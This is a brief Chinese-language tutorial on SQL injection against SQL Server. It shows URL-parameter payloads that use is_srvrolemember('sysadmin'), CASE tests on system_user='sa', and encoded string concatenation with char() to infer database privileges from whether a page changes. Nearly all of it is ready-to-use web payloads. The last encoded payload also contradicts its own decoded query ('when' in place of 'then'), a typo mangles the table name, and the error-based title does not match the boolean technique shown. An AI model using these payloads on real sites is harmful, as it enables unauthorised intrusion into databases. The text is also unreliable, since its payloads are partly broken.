SQL注入基于错误查询
is_srvrolemember()是一个SQL Server T-SQL函数,返回值:
1: 如果用户属于指定的组
0: 如果用户不属于指定的组
NULL: 如果指定的组不存在
?id=12/is_srvrolemember('sysadmin')
如果用户属于sysadmin组,那么id参数等于12/1返回正常的页面
case语句
case when condition then action1 else action2 end
?id=12/(case when (system_user='sa') then 1 else 0 end)
处理字符串
?brand=acme
后台数据库执行以下查询
select * from products where brand='acme'
?brand=acm'%2B'e
%2B是加号+的url编码最终查询等价于
select * from products where brand='acm'+'e'
html页面不会变化
也可以将参数分成三个部分
?brand=ac'%2B'm'%2B'e
使用char()函数修改
?brand=ac'%2Bchar(109)%2B'e
于是就有了一个可控的数字参数
?brand=ac'%2Bchar(108%2B(case+when+(system_user+=+'sa')+when+1+else+0+end)%2B'e
于是最终查询就变成
select * from peoducts where brand='ac'+char(108+(case when(system_user='sa') then 1 else 0 end)+'e'
如果用户为sa返回原画面